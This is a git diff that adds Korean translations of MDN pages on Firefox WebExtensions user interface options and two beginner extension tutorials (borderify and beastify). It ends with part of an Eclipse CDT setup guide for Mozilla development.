diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/index.html b/files/ko/mozilla/add-ons/webextensions/user_interface/index.html new file mode 100644 index 0000000000..e9041bc4dc --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/user_interface/index.html @@ -0,0 +1,96 @@ +--- +title: User interface +slug: Mozilla/Add-ons/WebExtensions/user_interface +tags: + - Landing + - NeedsTranslation + - TopicStub + - User Interface + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/user_interface +--- +
{{AddonSidebar}}
+ +

Extensions that use WebExtension APIs are provided with several user interface options so that their functionality can be made available to the user. A summary of those options is provided below, with a more detailed introduction to each user interface option in this section.

+ +
+

For advice on using these UI components to create a great user experience in your extension, please see the User experience best practices article.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UI optionDescriptionExample
Toolbar button (browser action)A button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.Example showing a toolbar button (browser action).
Toolbar button with a popupA popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of the pop-up on a toolbar button
Address bar button (page action)A button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.Example showing an address bar button (page action)
Address bar button with a popupA popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a popup on the address bar button
Context menu itemMenu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.Example of content menu items added by a WebExtension, from the context-menu-demo example
Sidebar +

An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.

+
Example of a sidebar
Options pageA page that enables you to define preferences for your extension that your users can change. The user can access this page from the browser's add-ons manager.Example showing the options page content added in the favorite colors example.
Extension pageUse web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.Example of a simple bundled page displayed as a detached panel.
NotificationTransient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).Example of an extension triggered system notification
Address bar suggestionOffer custom address bar suggestions when the user enters a keyword.Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.
Developer tools panelA tab with an associated HTML document that displays in the browser's developer tools.Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.
+ +

The following how-to guides provide step-by-step guidance to creating some of these user interface options:

+ + diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html new file mode 100644 index 0000000000..568d5feb97 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html @@ -0,0 +1,98 @@ +--- +title: Address bar button +slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions +tags: + - 사용자 인터페이스 + - 웹확장 +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions +--- +
{{AddonSidebar}}
+ +

주소줄에 추가되는 버튼으로 사용자가 확장 프로그램과 상호작용하는 일명 페이지 액션을 말한다.

+ +

+ +

페이지 액션과 브라우저 액션

+ +

주소줄 버튼(또는 페이지 액션)은 툴바 버튼(또는 브라우저 액션)과 아주 비슷하다.

+ +

차이점은:

+ + + +

하고자 하는 동작이 현재 페이지에 대한 것이면 페이지 액션을 사용하고, 전체 또는 여러 페이지가 대상이라면 브라우저 액션을 사용한다. 예를 들어:

+ + + + + + + + + + + + + + + + + + + + + + + + +
유형Bookmarks actionContent actionTabs operation
페이지 액션Bookmark this pageReddit enhancementSend tab
브라우저 액션Show all bookmarksEnable ad-blockingSync all open tabs
+ +

 

+ +

페이지 액션 기술하기

+ +

 

+ +

페이지 액션의 속성은 manifest.json의 page_action 항목에서 정의한다:

+ +
"page_action": {
+  "browser_style": true,
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?"
+}
+ +

꼭 있어야 하는 항목은 default_icon이다.

+ +

페이지 액션을 기술하는 길은 두 가지다: 팝업이 있는가. 없는가. 팝업이 없으면, 사용자 클릭은 pageAction.onClicked을 청취하는 확장 프로그램에 이벤트를 전달된다:

+ +
browser.pageAction.onClicked.addListener(handleClick);
+ +

팝업이 있으면, 클릭 이벤트는 없다: 대신, 팝업창이 열린다. 사용자는 팝업으로 일을 하고, 팝업창 바깥을 클릭하면 자동으로 닫힌다. 팝업 글에 팝업을 만들고 관리하는 보다 자세한 내용이 있다.

+ +

주목! 확장 프로그램은 페이지 액션을 하나만 가질 수 있다.

+ +

페이지 액션의 속성은 pageAction API로 프로그램적으로 바꿀 수 있다.

+ +

아이콘

+ +

페이지 액션에서 어떻게 아이콘을 만들고 사용하는지에 대한 자세한 내용은 Photon Design System 문서에서 Iconography을 보라.

+ +

예제

+ +

GitHub webextensions-examples 저장소에 팝업없는 페이지 액션 예제 chill-out가 있다.

diff --git a/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html new file mode 100644 index 0000000000..95d5af0f04 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html @@ -0,0 +1,28 @@ +--- +title: What are extensions? +slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions +--- +
{{AddonSidebar}}
+ +
Extension(이하 확장앱)은 웹 브라우저의 기능을 수정하는 코드를 지칭합니다. 확장앱은 표준 웹 기술(JavaScript, HTML 그리고 CSS)과 일부 전용 JavaScript API를 사용하여 작성됩니다. 여러 가지 특징이 있지만 무엇보다도 확장앱은 브라우저에 새로운 기능을 추가할 수 있고 특정 웹사이트의 모양이나 내용을 변경할 수 있다는 점이 대표적입니다.
+ +
 
+ +
Firefox 용 확장 프로그램은 확장앱 개발을 위한 크로스 브라우저 시스템인 WebExtensions API를 사용하여 만들어집니다. 대부분의 경우 API는 Google 크롬 및 Opera에서 지원하는 extension API와 호환됩니다. 대부분의 경우 이러한 브라우저 용으로 작성된 확장 프로그램은 Firefox 또는 Microsoft Edge에서 약간의 변경만으로 실행됩니다. API는 멀티프로세스 Firefox와도 완벽하게 호환됩니다.
+ +
 
+ +
과거에는 XUL/XPCOM overlaysbootstrapped extensions, 또는 Add-on SDK 중 하나의 방법으로 Firefox Extension을 개발했습니다. 이제 2017년 11월을 마지막으로 WebExtensions API가 유일한 Firefox 확장앱 개발 방법으로 통합되고, 기존의 방법은 더 이상 사용되지 않을 예정입니다. 
+ +
 
+ +
질문 혹은 아이디어가 있거나, 기존 Extension을 WebExtensions API로 마이그레이션 할 때 도움이 필요하다면  dev-addons 메일링 리스트IRC의 #extdev로 요청해주세요.
+ +

What's next?

+ + diff --git a/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html new file mode 100644 index 0000000000..e7de79a4d0 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html @@ -0,0 +1,154 @@ +--- +title: Your first extension +slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension +tags: + - WebExtensions + - 가이드 +translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension +--- +
{{AddonSidebar}}
+ +

이 글에서 우리는 "mozilla.org"와 그 하위 도메인 페이지에서 불러온 페이지에 붉은 테두리를 추가하는 확장 기능을 만들게 됩니다. 이를 통해 어떻게 Firefox를 위한 확장 기능을 만들 수 있는지 알아보고자 합니다.

+ +

이 예제의 소스코드는 GitHub에서 받을 수 있습니다.
+ https://github.com/mdn/webextensions-examples/tree/master/borderify

+ +

우선, 파이어폭스의 버전이 45 이상이여야 합니다.

+ +

확장기능 만들기

+ +

새 디렉토리를 만들고 그 디렉토리 안으로 들어갑니다.

+ +
mkdir borderify
+cd borderify
+ +

manifest.json

+ +

이제 "borderify" 폴더 안에 "manifest.json" 파일을 만들어야 합니다. 아래 내용을 작성해 주세요.

+ +
{
+
+  "manifest_version": 2,
+  "name": "Borderify",
+  "version": "1.0",
+
+  "description": "Adds a red border to all webpages matching mozilla.org.",
+
+  "icons": {
+    "48": "icons/border-48.png"
+  },
+
+  "content_scripts": [
+    {
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}
+ + + +

가장 재밌는 키는 content_scripts 입니다. 이 키는 URL이 패턴과 일치하는 페이지에 스크립트를 주입하도록 Firefox에 요청하는 역할을 합니다. 이 예제의 경우, "mozilla.org"와 그 하위 도메인에서 제공되는 모든 HTTP와 HTTPS 페이지에 "borderify.js" 스크립트를 주입하도록 Firefox에 요청합니다.

+ + + +
+

확장에 ID를 지정해야 할 수도 있습니다. 애드온 ID를 지정해야 한다면, manifest.json 파일에 application 키를 작성한 다음 gecko.id 프로퍼티를 설정하면 됩니다.

+ +
"applications": {
+  "gecko": {
+    "id": "borderify@example.com"
+  }
+}
+
+ +

icons/border-48.png

+ +

확장기능에는 아이콘이 필요합니다. 이 아이콘은 확장 관리자의 목록에 나타납니다. 우리의 manifest.json은 "icons/border-48.png"를 아이콘으로 사용하겠다고 정했습니다.

+ +

borderify 디렉토리 안에 icons 디렉토리를 만들고, "border-48.png"라는 이름으로 아이콘을 저장합니다. 예제에 포함된 아이콘이나, Creative Commons Attribution-ShareAlike 라이선스로 배포되는 Google Material Design 아이콘 세트에서 골라도 좋습니다.

+ +

사용할 아이콘은 48픽셀 정사각형이여야 합니다. 원한다면 고해상도 디스플레이를 위해서 96x96 픽셀의 아이콘과 같이 제공할 수도 있습니다. 만약 그렇게 한다면 manifest.json의 icons 객체에 96 프로퍼티로 지정해줘야 합니다.

+ +
"icons": {
+  "48": "icons/border-48.png",
+  "96": "icons/border-96.png"
+}
+ +

대신 SVG 파일을 사용할 수도 있습니다. 그러면 자동으로 딱 맞게 조절되어 적용됩니다. (만약 SVG에 텍스트가 포함되어 있다면 사용하는 툴에서 "패스로 변환하기" 기능을 사용해 텍스트를 패스로 변경해주세요. 그래야 원하는 위치와 크기로 확대/축소가 이뤄집니다.)

+ + + +

borderify.js

+ +

마지막으로 borderify.js 파일을 borderify 디렉토리에 만들고 아래 내용으로 저장해주세요.

+ +
document.body.style.border = "5px solid red";
+ +

이 스크립트는 manifest.json의 content_scripts키로 주어진 패턴에 매칭 될 때 페이지에 삽입됩니다. 스크립트는 원래 페이지에 포함되어 있던 스크립트처럼, 문서 자체에 직접 접근할 수 있게 됩니다.

+ + + +

사용해보기

+ +

우선 파일들이 원하는 위치에 있는지 다시 확인 해보세요.

+ +
borderify/
+    icons/
+        border-48.png
+    borderify.js
+    manifest.json
+ +

설치

+ +

Firefox로 "about:debugging" 페이지에 들어갑니다. "임시 확장기능 로드"를 클릭해 확장기능 디렉토리를 선택합니다.

+ +

{{EmbedYouTube("cer9EUKegG4")}}

+ +

이제 확장기능이 설치될 것이고, Firefox가 재시작 되더라도 유지될 것입니다.

+ +

대신 web-ext 툴을 사용해 커맨드라인에서 확장기능을 실행할 수도 있습니다.

+ +

테스트

+ +

이제 "mozilla.org" 페이지에 들어가 봅시다. 페이지 전체를 둘러싸고 있는 붉은 색의 테두리를 볼 수 있습니다.

+ +

{{EmbedYouTube("rxBQl2Z9IBQ")}}

+ +
+

addons.mozilla.org에 들어가서 테스트 하지 마세요! Content script는 현재 이 도메인에 사용할 수 없도록 차단됩니다.

+
+ +

좀 더 파고들어 봅시다. 테두리의 색을 변경하거나, 페이지 컨텐츠에 다른 것들을 해볼 수 있겠죠. content script를 저장하고 about:debugging 페이지에서 Reload 버튼을 눌러 확장기능 파일을 새로고침 할 수 있습니다. 그리고 나서는 곧바로 변경된 기능을 확인할 수 있죠.

+ +

{{EmbedYouTube("NuajE60jfGY")}}

+ + + +

패키징과 배포

+ +

다른 사람들이 확장기능을 사용할 수 있게 하려면, 확장을 패키징하고 Mozilla에 제출해 서명을 받아야 합니다. 확장기능 배포에 대해 더 알아보기.

+ +

다음으로

+ +

이제 어떻게 Firefox용 WebExtension을 개발해야 하는지 알게 되었습니다. 다음 글들을 읽고 시도해 보세요.

+ + diff --git a/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html new file mode 100644 index 0000000000..1d5bd49ca4 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -0,0 +1,456 @@ +--- +title: Your second extension +slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +--- +
{{AddonSidebar}} +

Your first extension 장을 읽었다면, 확장앱을 만드는 법을 알게 되었을 것이다. 이번 장에서는 몇개의 API를 사용하는 약간 더 복잡한 확장앱을 만들어볼 것이다.

+ +

이 확장앱은 파이어폭스 툴바에 새로운 버튼을 추가한다. 사용자가 이 버튼을 클릭하면 동물을 선택하는 팝업을 보여준다. 동물을 선택하면 현재 웹페이지의 내용을 선택한 동물 이미지로 변경한다.

+ +

구현내용:

+ + + +

확장앱의 구조를 표현하면 아래와 같다:

+ +

+ +

간단한 확장앱이지만 WebExtensions API의 기본 개념을 잘 보여줍니다.

+ + + +

깃헙 예제 소스코드.

+ +

이 확장앱을 만드려면 파이어폭스 45이상이 필요하다.

+ +

Writing the extension

+ +

새 디렉토리 생성:

+ +
mkdir beastify
+cd beastify
+ +

manifest.json

+ +

이제 "manifest.json" 파일을 아래와 같은 내용으로 생성:

+ +
{
+
+  "manifest_version": 2,
+  "name": "Beastify",
+  "version": "1.0",
+
+  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
+  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
+  "icons": {
+    "48": "icons/beasts-48.png"
+  },
+
+  "permissions": [
+    "activeTab"
+  ],
+
+  "browser_action": {
+    "default_icon": "icons/beasts-32.png",
+    "default_title": "Beastify",
+    "default_popup": "popup/choose_beast.html"
+  },
+
+  "web_accessible_resources": [
+    "beasts/frog.jpg",
+    "beasts/turtle.jpg",
+    "beasts/snake.jpg"
+  ]
+
+}
+
+ + + +

manifest.json와 연관된 모든 경로의 것들을 기술한다.

+ +

The icon

+ +

확장앱은 아이콘을 가져야한다. 이 아이콘은 애드온 매니저에서 확장앱의 목록에서 보여진다.("about:addons" url을 통해 열수 있다). 이번에 만든 manifest.json는 "icons / beasts-48.png" 아이콘을 정의하였다

+ +

"icons"라는 디렉토리를 만들고 "beasts-48.png" 파일을 그 아래에 저장한다. 우리 예제는 Aha-Soft’s Free Retina iconset에서 가져온 이미지를 라이센스 조건에 따라 사용했다.

+ +

자신만의 아이콘을 사용하려면 48x48 픽셀이어야한다. 또한 고해상도를 위한 96x96 필셀도 지원한다. 만약 고해상도를 지원하게 하고싶다면 manifest.json의 아이콘 부분을 아래처럼 작성하면 된다.

+ +
"icons": {
+  "48": "icons/beasts-48.png",
+  "96": "icons/beasts-96.png"
+}
+ +

The toolbar button

+ +

툴바 버튼도 아이콘이 필요한데, 우리 manifest.json 파일에 툴바 버튼의 아이콘을 "icons/beasts-32.png"으로 기술하였다.

+ +

"icons" 디렉토리 아래 "beasts-32.png"  파일을 저장한다. 우리는  우리 예제의 이미지IconBeast Lite icon set에서 가져온 이미지를 라이센스 조건에 따라 사용했다.

+ +

팝업을 제공하지 않으면 사용자가 버튼을 클릭 할 때 클릭 이벤트가 없어지게된다. 팝업을 제공한다면 이벤트는 없이지지않고 대신 팝업이 열린다. 우리는 팝업을 열어야하니 다음에서 팝업을 정의한다.

+ +

The popup

+ +

이 팝업의 기능은 세 동물중 하나를 선택하는 기능이다.

+ +

확장앱 로트 아래 "popup" 디렉토리를 생성한다. 여기에대가 팝업 관련 파일들을 저장할 것 이다. 이 팝업이 가지는 세가 파일:

+ + + +
mkdir popup
+cd popup
+touch choose_beast.html choose_beast.css choose_beast.js
+
+ +

choose_beast.html

+ +

HTML파일의 내용:

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+    <link rel="stylesheet" href="choose_beast.css"/>
+  </head>
+
+<body>
+  <div id="popup-content">
+    <div class="button beast">Frog</div>
+    <div class="button beast">Turtle</div>
+    <div class="button beast">Snake</div>
+    <div class="button reset">Reset</div>
+  </div>
+  <div id="error-content" class="hidden">
+    <p>Can't beastify this web page.</p><p>Try a different page.</p>
+  </div>
+  <script src="choose_beast.js"></script>
+</body>
+
+</html>
+
+ +

각각의 동물들을 보여주는 항목을 가지는 <div> 요소의 ID에 "popup-content" 를 정의하였다. 또 다른 "error-content" ID를 가지는 <div>는  "hidden" 이라는 class를 정의하였고 팝업을 초기화 할때 문제가 생기는 경우 사용할 것이다.

+ +

이 HTML파일은 일반 웹페이지처럼 CSS파일과 JS파일을 포함한다.

+ +

choose_beast.css

+ +

이 CSS는 팝업의 크기를 정의하고 선택항목의 공간을 정의하는등 기본적인 스타일링을 한다. 또한 class="hidden" 이라고 정의한 항목을 숨긴다. 이것은 "error-content" <div> 가 기본적으로는 숨겨진다는 것을 뜻한다.

+ +
html, body {
+  width: 100px;
+}
+
+.hidden {
+  display: none;
+}
+
+.button {
+  margin: 3% auto;
+  padding: 4px;
+  text-align: center;
+  font-size: 1.5em;
+  cursor: pointer;
+}
+
+.beast:hover {
+  background-color: #CFF2F2;
+}
+
+.beast {
+  background-color: #E5F2F2;
+}
+
+.reset {
+  background-color: #FBFBC9;
+}
+
+.reset:hover {
+  background-color: #EAEA9D;
+}
+
+
+ +

choose_beast.js

+ +

팝업의 자바스크립트 코드는 아래와 같다:

+ +
/**
+ * CSS to hide everything on the page,
+ * except for elements that have the "beastify-image" class.
+ */
+const hidePage = `body > :not(.beastify-image) {
+                    display: none;
+                  }`;
+
+/**
+ * Listen for clicks on the buttons, and send the appropriate message to
+ * the content script in the page.
+ */
+function listenForClicks() {
+  document.addEventListener("click", (e) => {
+
+    /**
+     * Given the name of a beast, get the URL to the corresponding image.
+     */
+    function beastNameToURL(beastName) {
+      switch (beastName) {
+        case "Frog":
+          return browser.extension.getURL("beasts/frog.jpg");
+        case "Snake":
+          return browser.extension.getURL("beasts/snake.jpg");
+        case "Turtle":
+          return browser.extension.getURL("beasts/turtle.jpg");
+      }
+    }
+
+    /**
+     * Insert the page-hiding CSS into the active tab,
+     * then get the beast URL and
+     * send a "beastify" message to the content script in the active tab.
+     */
+    function beastify(tabs) {
+      browser.tabs.insertCSS({code: hidePage}).then(() => {
+        let url = beastNameToURL(e.target.textContent);
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "beastify",
+          beastURL: url
+        });
+      });
+    }
+
+    /**
+     * Remove the page-hiding CSS from the active tab,
+     * send a "reset" message to the content script in the active tab.
+     */
+    function reset(tabs) {
+      browser.tabs.removeCSS({code: hidePage}).then(() => {
+        browser.tabs.sendMessage(tabs[0].id, {
+          command: "reset",
+        });
+      });
+    }
+
+    /**
+     * Just log the error to the console.
+     */
+    function reportError(error) {
+      console.error(`Could not beastify: ${error}`);
+    }
+
+    /**
+     * Get the active tab,
+     * then call "beastify()" or "reset()" as appropriate.
+     */
+    if (e.target.classList.contains("beast")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(beastify)
+        .catch(reportError);
+    }
+    else if (e.target.classList.contains("reset")) {
+      browser.tabs.query({active: true, currentWindow: true})
+        .then(reset)
+        .catch(reportError);
+    }
+  });
+}
+
+/**
+ * There was an error executing the script.
+ * Display the popup's error message, and hide the normal UI.
+ */
+function reportExecuteScriptError(error) {
+  document.querySelector("#popup-content").classList.add("hidden");
+  document.querySelector("#error-content").classList.remove("hidden");
+  console.error(`Failed to execute beastify content script: ${error.message}`);
+}
+
+/**
+ * When the popup loads, inject a content script into the active tab,
+ * and add a click handler.
+ * If we couldn't inject the script, handle the error.
+ */
+browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
+.then(listenForClicks)
+.catch(reportExecuteScriptError);
+
+
+ +

이 코드의 시작접은 96번째 라인이다. 이 스크립트는 browser.tabs.executeScript () API를 사용해 팝업이 로드될때 활성화된 탭에 content script (beastify.js)를 주입한다. content script를 성공적으로 주입하면 사용자가 탭을 닫거나 페이지를 이동할 때까지 content script가 주입 된 상태로 유지된다.

+ +

browser.tabs.executeScript()API호출이 실패하는 공통적인 이유는 모든 웹페이지에 content scripts를 주입할 수 없기 때문이다. 예를들어 about:debugging 같은 권한이 있는 페이지에서는 content scripts를 주입할 수 없고 addons.mozilla.org 도 마찬가지이다. 이처럼 실패할때는 reportExecuteScriptError()가 호출되어 "popup-content" <div> 를 숨기고 "error-content" <div>를 보여주고 콘솔에 에러를 로깅한다.

+ +

content script 주입이 성공하면 listenForClicks()이 호출 된다. 이 함수는 팝업에서 클릭을 위한 리스너이다.

+ + + +

beastify() 함수는 3가지 기능을 한다:

+ + + +

reset() 함수는 페이지가 동물그림으로 변경된 것을 취소한다:

+ + + +

The content script

+ +

확장앱의 루트에 "content_scripts"라는 디렉토리를 생성하고, "beastify.js" 파일을 아래 내용으로 작성한다:

+ +
(function() {
+  /**
+   * Check and set a global guard variable.
+   * If this content script is injected into the same page again,
+   * it will do nothing next time.
+   */
+  if (window.hasRun) {
+    return;
+  }
+  window.hasRun = true;
+
+  /**
+   * Given a URL to a beast image, remove all existing beasts, then
+   * create and style an IMG node pointing to
+   * that image, then insert the node into the document.
+   */
+  function insertBeast(beastURL) {
+    removeExistingBeasts();
+    let beastImage = document.createElement("img");
+    beastImage.setAttribute("src", beastURL);
+    beastImage.style.height = "100vh";
+    beastImage.className = "beastify-image";
+    document.body.appendChild(beastImage);
+  }
+
+  /**
+   * Remove every beast from the page.
+   */
+  function removeExistingBeasts() {
+    let existingBeasts = document.querySelectorAll(".beastify-image");
+    for (let beast of existingBeasts) {
+      beast.remove();
+    }
+  }
+
+  /**
+   * Listen for messages from the background script.
+   * Call "beastify()" or "reset()".
+  */
+  browser.runtime.onMessage.addListener((message) => {
+    if (message.command === "beastify") {
+      insertBeast(message.beastURL);
+    } else if (message.command === "reset") {
+      removeExistingBeasts();
+    }
+  });
+
+})();
+
+ +

content script는 먼저 전역 변수 window.hasRun을 확인한다: content script가 이미 실행되어 있다면 아무작업도 하지 않고, 아직 주입되어 있지않으면 window.hasRun를 true로 셋팅한뒤 잡업을 계속한다. 이 작업을 하는 이유는 팝업을 열 때마다 활성화된 탭에 content script를 실행하기 때문에 스크립트가 중복으로 실행되기 때문에 첫번째 팝업오픈시에만 content script를 실행해야한다.

+ +

그런 다음 40번째 라인에서 content script는 browser.runtime.onMessage API로 팝업의 메시지를 받는다. 위에서 봤던 팝업의 스크립트는 "beastify"와 "reset" 두 종류의 메시지를 보낸다.

+ + + +

The beasts

+ +

마지막으로 동물의 이미지를 추가한다.

+ +

"beasts" 디렉토리를 만들고 그 아래 적절한 이름의 이미지 세개를 추가한다.  GitHub 저장소에서 이미지를 가져올 수 있다.

+ +

+ +

Testing it out

+ +

먼저 파일들이 제자리에 있는 지 확인한다:

+ +
beastify/
+
+    beasts/
+        frog.jpg
+        snake.jpg
+        turtle.jpg
+
+    content_scripts/
+        beastify.js
+
+    icons/
+        beasts-32.png
+        beasts-48.png
+
+    popup/
+        choose_beast.css
+        choose_beast.html
+        choose_beast.js
+
+    manifest.json
+ +

파이어폭스 45에서 디스크로부터 임시로 확장 기능을 설치할 수 있다.

+ +

파이어폭스에서 about:debugging를 열고 "Load Temporary Add-on"를 클릭한다음 manifest.json 파일을 선택한다. 그러면 파이어폭스 툴바에서 버튼을 볼수 있을것이다.

+ +

{{EmbedYouTube("sAM78GU4P34")}}

+ +

웹페이지를 열고 툴바 버튼을 클릭하고 동물을 선택하면 웹페이지가 바뀌는것을 볼 수 있을것이다.

+ +

{{EmbedYouTube("YMQXyAQSiE8")}}

+ +

Developing from the command line

+ +

아래처럼 web-ext툴을 이용해 설치할 수도 있다.

+ +
cd beastify
+web-ext run
+
diff --git a/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html b/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html new file mode 100644 index 0000000000..23deaf4ffc --- /dev/null +++ b/files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html @@ -0,0 +1,443 @@ +--- +title: Eclipse CDT +slug: Mozilla/Developer_guide/Eclipse/Eclipse_CDT +translation_of: Mozilla/Developer_guide/Eclipse/Eclipse_CDT +--- +

Introduction

+ +

 

+ +

Eclipse CDT (C / C ++ Development Tools)는 고급 코드 지원 (상속 / 콜 그래프 탐색기, 정의로 이동, 리팩토링, 자동 완성, 구문 강조 표시 등)을 사용하여 C 및 C ++ 개발을위한 오픈 소스 IDE입니다.이클립스는 자바 오픈소스 IDE로 유명합니다. 하지만 자바뿐만 아니라 C/C++ 개발도구의 기능도 갖는데요, 이를 이클립스 CDT라고 합니다. 이번 포스팅에서는 윈도우즈 환경에 이클립스 CDT를 설치하는 내용을 다루어보고자 합니다.

+ +

System requirements

+ +

Eclipse will use a lot of memory to fully index the Mozilla source tree to provide code assistance features (easily 4 GB of RAM, although this will drop to just over 1 GB if you restart after indexing is complete). Therefore, it is not recommended if your machine only has 4 GB of RAM.

+ +

Installing Eclipse

+ +
+

Regarding llvm4eclipsecdt, do not install or select this toolchain for Mozilla development. This plugin is intended mainly for managed projects but we use an unmanaged project for Mozilla (since it has its own build system). Using this plugin will result in parts of the UI described below being hidden or disabled.

+
+ +

Download Eclipse IDE for C/C++ Developers from the Eclipse download page.

+ +

Increase Eclipse's memory limits!

+ +
+

Make sure you do this!

+
+ +

Before you use Eclipse with the Mozilla source you must increase its memory limits. When Eclipse's indexer tries to process the Mozilla source, Eclipse will need considerably more memory than it allows itself out of the box. You should increase its memory limits using the eclipse.ini in your installation directory (or in Eclipse.app/Contents/Eclipse/ if you're on Mac). Set something like -Xms1G -Xmx5G -XX:MaxPermSize=1G (initial heap space of 1 GB, max heap space of 5 GB, max perm-gen space of 1 GB).

+ +

If you fail to increase these limits, then you will likely find that Eclipse hangs when you try to index or work with the Mozilla source later on.

+ +

Express setup

+ +

For the Eclipse indexer to work well you must first build Mozilla, so that it includes headers from the objdir etc. These can be found and processed by Eclipse.

+ +
+

Note: Your MOZ_OBJDIR must be outside the Mozilla source directory.

+
+ +

Once your build is complete then mach can generate a useful Eclipse project on your behalf. Either run:

+ +
# Create eclipse project and open it:
+./mach ide eclipse
+
+ +

Or else:

+ +
# Create eclipse project without opening it:
+./mach build-backend -b CppEclipse
+ +

This should take less than a minute. In the case of the build-backend command, instructions on how to open the project will be displayed after the command completes.

+ +

Setup time

+ +
+

Some points in the rest of this document below are old and taken care of by the mach commands described above (although some of the project configuration is not done automatically yet). Some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful background information to understand it in more detail on how Eclipse works.

+
+ +

You can expect it to take an hour or so to work through these instructions if you're doing so for the first time.

+ +

(This assumes that you already have a copy of the Mozilla source, and that you have also built the source so that you have a pre-existing object directory. If that's not the case, then get your build going now so that it can be running while you continue with the instructions below. FAQ: {{ anch("Why_does_Eclipse_need_an_object_directory.3F","Wait, why does Eclipse need an object directory?") }})

+ +

Code assistance

+ +

Out of the box, Eclipse can provide some code assistance for the Mozilla source, but it will be incomplete and often just plain broken. If you set up Eclipse as detailed below it will do a much, much better job.

+ +

Important background

+ +

To help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some background on what IDEs need in order to provide advanced code assistance, and what Eclipse CDT needs in particular.

+ +

To be able to provide really good code assistance for a project's source code, IDEs like Eclipse need to carry out a thorough static analysis of the project's source files, to build up a picture of the code (what Eclipse is trying to do when it "indexes" the source.) Static analysis involves parsing the source files, so naturally it can only produce good results if it has a sensible set of preprocessor defines, include paths and pre-include files for each source file. Since Eclipse doesn't initially have any of this information, the code assistance that it's able to provide out of the box is pretty broken.
+
+ For projects the size and complexity of Mozilla, it's impractical to manually configure Eclipse when there is a valid set of defines and includes paths for each of the different parts of the source code. Happily, Eclipse makes manual configuration unnecessary. Like some other IDEs, that are used with projects like Mozilla that have their own build system. Eclipse provides a tool that can collect the options that are passed to the compiler for each file that's compiled during an actual build. This process is sometimes called "build option discovery" or "compiler option discovery".

+ +

The way that Eclipse CDT does build option discovery is to scan the console output from a real build looking for lines where a compiler was invoked. For each line that invoked a compiler, it tries to figure out which source file was being built and what its include paths were. If relative paths are used to specify the source file or any of its include paths (common in Mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked from, this will not be possible. If Eclipse can successfully identify which source file was being compiled, then it can associate with that file the resolvable include paths, preprocessor defines, and pre-include files that were passed to the compiler.

+ +

Note the requirements that this method of build option discovery imposes on us. First, Eclipse needs build console output for a complete build, so that it can find compiler options for as many source files as possible. The build must be explicitly instructed to output information that allows the directory, where the compiler is being invoked from to be identified (i.e., 'make' must be instructed to output "Entering directory..."/"Leaving directory..." lines). Finally, the build must not be parallelized, since that would result in the interleaving of build output from different directories (breaking resolution of relative paths by interleaving the "Entering directory..."/"Leaving directory..." lines), and the build must not be silenced/quietened.

+ +
Conversely, note this very carefully: if you configure Eclipse to invoke a build process that is parallelized, silenced, or that fails to identify the directory that the compiler is being run from, then it will mess up the compiler options that Eclipse associates with your files, and that in turn will significantly degrade the quality of the code assistance that Eclipse will provide after it next re-indexes the code.
+ +

These requirements aren't a very good fit with the typical Mozilla developer's wish to minimize build times, implying parallelized, silenced builds.

+ +

The consequences of the above observations are this:

+ +
+ +
+ +

